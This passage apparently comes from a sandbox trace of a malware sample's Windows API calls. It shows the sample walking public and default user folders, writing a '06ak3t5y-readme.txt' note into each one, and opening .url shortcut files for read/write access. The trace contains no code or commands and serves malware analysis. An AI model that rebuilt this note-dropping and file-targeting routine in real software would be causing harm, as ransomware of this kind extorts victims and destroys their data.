ftLastWriteTime.dwLowDateTime=0x3c98e80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.980] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c98e80, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c98e80, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.980] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c98e80, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3c98e80, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3c9b590, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.980] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.980] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0110.980] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040040 [0110.980] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x2086778 [0110.980] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9870 [0110.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0110.981] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.981] WriteFile (in: hFile=0x3f0, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.982] CloseHandle (hObject=0x3f0) returned 1 [0110.982] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sample pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0110.982] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.982] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2067310) returned 1 [0110.982] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402b0) returned 1 [0110.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3ca2ac0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca2ac0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.983] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3ca2ac0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca2ac0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.983] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca2ac0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ca2ac0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca51d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.983] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x89e5e11e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x89e5e11e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.983] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Sample Media", cAlternateFileName="SAMPLE~1")) returned 1 [0110.983] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402b0 [0110.983] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5c) returned 0x20867e0 [0110.983] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x82) returned 0x30a9870 [0110.983] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Recorded TV\\Sample Media\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\recorded tv\\sample media\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x268 [0110.986] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9870) returned 1 [0110.986] WriteFile (in: hFile=0x268, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.987] CloseHandle (hObject=0x268) returned 1 [0110.987] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sample media", cAlternateFileName="SAMPLE~1")) returned 0 [0110.987] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.987] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085080) returned 1 [0110.987] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20402a0) returned 1 [0110.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ca51d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca51d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.988] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ca51d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca51d0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.988] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca51d0, ftCreationTime.dwHighDateTime=0x1d77026, ftLastAccessTime.dwLowDateTime=0x3ca51d0, ftLastAccessTime.dwHighDateTime=0x1d77026, ftLastWriteTime.dwLowDateTime=0x3ca9ff0, ftLastWriteTime.dwHighDateTime=0x1d77026, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="06ak3t5y-readme.txt", cAlternateFileName="06AK3T~1.TXT")) returned 1 [0110.988] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.988] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0110.988] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20402a0 [0110.988] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x54) returned 0x2069cc0 [0110.988] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x7a) returned 0x367aa40 [0110.988] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\06ak3t5y-readme.txt" (normalized: "c:\\users\\public\\videos\\sample videos\\06ak3t5y-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x268 [0110.988] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367aa40) returned 1 [0110.988] WriteFile (in: hFile=0x268, lpBuffer=0x2041258*, nNumberOfBytesToWrite=0xe68, lpNumberOfBytesWritten=0x18fbd4, lpOverlapped=0x0 | out: lpBuffer=0x2041258*, lpNumberOfBytesWritten=0x18fbd4*=0xe68, lpOverlapped=0x0) returned 1 [0110.989] CloseHandle (hObject=0x268) returned 1 [0110.989] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="sample videos", cAlternateFileName="SAMPLE~1")) returned 0 [0110.990] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.990] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x208ea20) returned 1 [0110.990] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040100) returned 1 [0110.990] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.990] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.990] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0110.990] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0110.990] PathFindExtensionW (pszPath="web slice gallery.url") returned=".url" [0110.990] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x232) returned 0x397e2a0 [0110.991] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\default\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.991] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.991] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="web slice gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0110.991] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.991] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068040) returned 1 [0110.991] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040250) returned 1 [0110.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", cAlternateFileName="")) returned 0x72d330 [0110.992] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="..", cAlternateFileName="")) returned 1 [0110.992] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0110.992] PathFindExtensionW (pszPath="ie add-on site.url") returned=".url" [0110.992] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.993] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.993] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0110.993] PathFindExtensionW (pszPath="ie site on microsoft.com.url") returned=".url" [0110.993] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.993] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.993] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0110.993] PathFindExtensionW (pszPath="microsoft at home.url") returned=".url" [0110.994] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.994] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.994] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0110.994] PathFindExtensionW (pszPath="microsoft at work.url") returned=".url" [0110.994] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d5) returned 0x397e2a0 [0110.994] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.994] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.994] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0110.994] PathFindExtensionW (pszPath="microsoft store.url") returned=".url" [0110.995] RtlAllocateHeap (HeapHandle=0x3880000, Flags=0x8, Size=0x1d6) returned 0x397e2a0 [0110.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x48000000, hTemplateFile=0x0) returned 0xffffffff [0110.995] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397e2a0) returned 1 [0110.995] FindNextFileW (in: hFindFile=0x72d330, lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName="microsoft store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0110.995] FindClose (in: hFindFile=0x72d330 | out: hFindFile=0x72d330) returned 1 [0110.996] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2085fc0) returned 1 [0110.996] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20401a0) returned 1 [0110.996] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x18fc00 | out: lpFindFileData=0x18fc00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6fcd80, cFileName=".", 